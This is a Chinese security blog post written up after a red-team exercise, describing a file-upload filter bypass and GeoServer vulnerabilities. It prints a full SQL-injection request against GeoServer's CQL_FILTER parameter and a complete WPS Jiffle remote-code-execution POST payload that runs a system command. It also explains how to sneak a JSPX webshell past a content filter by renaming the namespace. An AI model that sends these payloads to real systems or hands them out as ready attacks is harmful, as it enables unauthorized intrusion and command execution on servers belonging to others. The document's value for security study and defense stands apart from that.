记录某次攻防演练中几个有趣的漏洞
记录某次攻防演练中几个有趣的漏洞
WIN哥学安全 2024-06-17 22:55
免责声明
由于传播、利用本公众号所发布的而造成的任何直接或者间接的后果及损失,均由使用者本人承担。LK
安全公众号及原文章作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢大家!!!
又到了hw的季节,最近接连打了好几场比赛,想着公众号好久没更新技术文了,就总结了一些比较有趣的漏洞分享给大家,大佬勿喷。
案例1 文件上传绕过限制
最近在测试某系统的过程中,摸到了Swagger,泄露了蛮多接口,也很顺利地找到一处上传点。惊喜的是,系统本身并未对上传接口做后缀限制。
尝试jsp、jspx、jspf等后缀,会报403,但是对于jspb这类不会被正常解析的后缀却能成功上传。
于是尝试对文件后缀进行Fuzz,发现当文件后缀末尾加上俩正斜杠即可绕过检测,并被正常解析。
后续就是解决文件内容检测的问题。对于常规的jsp标签内容限制的很死,例如 <% … %> 标签,只要标签里面出现正常的语句(带分号),就会被ban掉。
到这就已经没啥思路了,突然翻到了yzddmr6师傅的一篇博客:https://yzddmr6.com/posts/jsp-webshell-upload-bypass/ ,文章中提到了利用el表达式和jspx命名空间绕过的方法。常规的el表达式不会被ban,但出现太过复杂的利用语句就会被ban。奈何本人太菜,也尝试了各种绕过方法,均以失败告终。思路一:el表达式绕过。jsp是默认解析el表达式的,并且在没有jsp标签的情况下也可以直接执行,这样就可以绕过jsp的限制。思路二:jspx利用命名空间绕过。因为jspx实际上是jsp的xml写法,所以继承了xml的所有特性,例如cdata跟html实体编码等,同样也继承了命名空间的特性。
接着就是考虑jspx命名空间绕过的方式,对于如下语句,会直接被拦截。
但是文章中也提到了对于这种方法,其命名空间的名字是可以自定义的。将命名空间名称修改过后竟然奇迹般地过了。
直接通关。
对于 Runtime.getRuntime().exec() 这类语句也不再进行拦截。
后续未进行过多测试,证明危害存在即可。
案例2 geoserver系列漏洞最近打比赛发现遇到这个系统的频率还挺高的,看了一下刚好前几个月爆出了一些新的漏洞,就顺便也总结一下。这次比赛遇到的是geoserver的SQL注入,关于这个漏洞的打法如下在进行SQL注入漏洞复现之前,首先需要获取地理图层列表信息,这个信息是SQL注入payload中一个必需的参数。通过以下路径访问,获取地理图层列表信息。
http://192.168.254.170:9999/geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities
接着访问以下路径,获取图层的属性名称
http://192.168.254.170:9999/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=ne:populated_places&maxFeatures=1&outputFormat=json
最终payload如下:
GET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=gwpd:chinamap11&CQL_FILTER=strStartsWith%28Vatican City%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+version()%29+AS+INTEGER%29%29+--+%27%29+%3D+true HTTP/1.1Host: 192.168.254.170:9999Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: JSESSIONID=1p6q6kkghu4bg1x04chtdvm369Connection: close
查询到了数据库的版本信息
实战中手动拼接太繁琐,直接github找个项目跑一遍再手打。同时前段时间也爆出了geoserver存在远程命令执行漏洞,在这里也给出poc,但是似乎存在漏洞的资产不太多2333访问/geoserver/ows这个接口,如果出现下图这种情况可能有戏。
POST /geoserver/wms HTTP/1.1
Host: xxxxxxxxx
Content-Type: application/xml
Accept-Encoding: gzip, deflate
<?xml version="1.0" encoding="UTF-8"?>
<wps:Execute version="1.0.0" service="WPS" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://www.opengis.net/wps/1.0.0" xmlns:wfs="http://www.opengis.net/wfs" xmlns:wps="http://www.opengis.net/wps/1.0.0" xmlns:ows="http://www.opengis.net/ows/1.1" xmlns:gml="http://www.opengis.net/gml" xmlns:ogc="http://www.opengis.net/ogc" xmlns:wcs="http://www.opengis.net/wcs/1.1.1" xmlns:xlink="http://www.w3.org/1999/xlink" xsi:schemaLocation="http://www.opengis.net/wps/1.0.0 http://schemas.opengis.net/wps/1.0.0/wpsAll.xsd">
<ows:Identifier>ras:Jiffle</ows:Identifier>
<wps:DataInputs>
<wps:Input>
<ows:Identifier>coverage</ows:Identifier>
<wps:Data>
<wps:ComplexData mimeType="application/arcgrid"><![CDATA[ncols 720 nrows 360 xllcorner -180 yllcorner -90 cellsize 0.5 NODATA_value -9999 316]]></wps:ComplexData>
</wps:Data>
</wps:Input>
<wps:Input>
<ows:Identifier>script</ows:Identifier>
<wps:Data>
<wps:LiteralData>dest = y() - (500); // */ public class Double { public static double NaN = 0; static { try { java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("id").getInputStream())); String line = null; String allLines = " - "; while ((line = reader.readLine()) != null) { allLines += line; } throw new RuntimeException(allLines);} catch (java.io.IOException e) {} }} /**</wps:LiteralData>
</wps:Data>
</wps:Input>
<wps:Input>
<ows:Identifier>outputType</ows:Identifier>
<wps:Data>
<wps:LiteralData>DOUBLE</wps:LiteralData>
</wps:Data>
</wps:Input>
</wps:DataInputs>
<wps:ResponseForm>
<wps:RawDataOutput mimeType="image/tiff">
<ows:Identifier>result</ows:Identifier>
</wps:RawDataOutput>
</wps:ResponseForm>
</wps:Execute>
Tips:
HVV招聘
:
投递到–>
https://send2me.cn/s4blZRtp/RSm7tIGEY-eiTg
考证咨询
:
全网最低最优惠报考NISP/CISP/CISSP/PTE/PTS/IRE/IRS
等证书,后台回复“好友”加V私聊。
往期推荐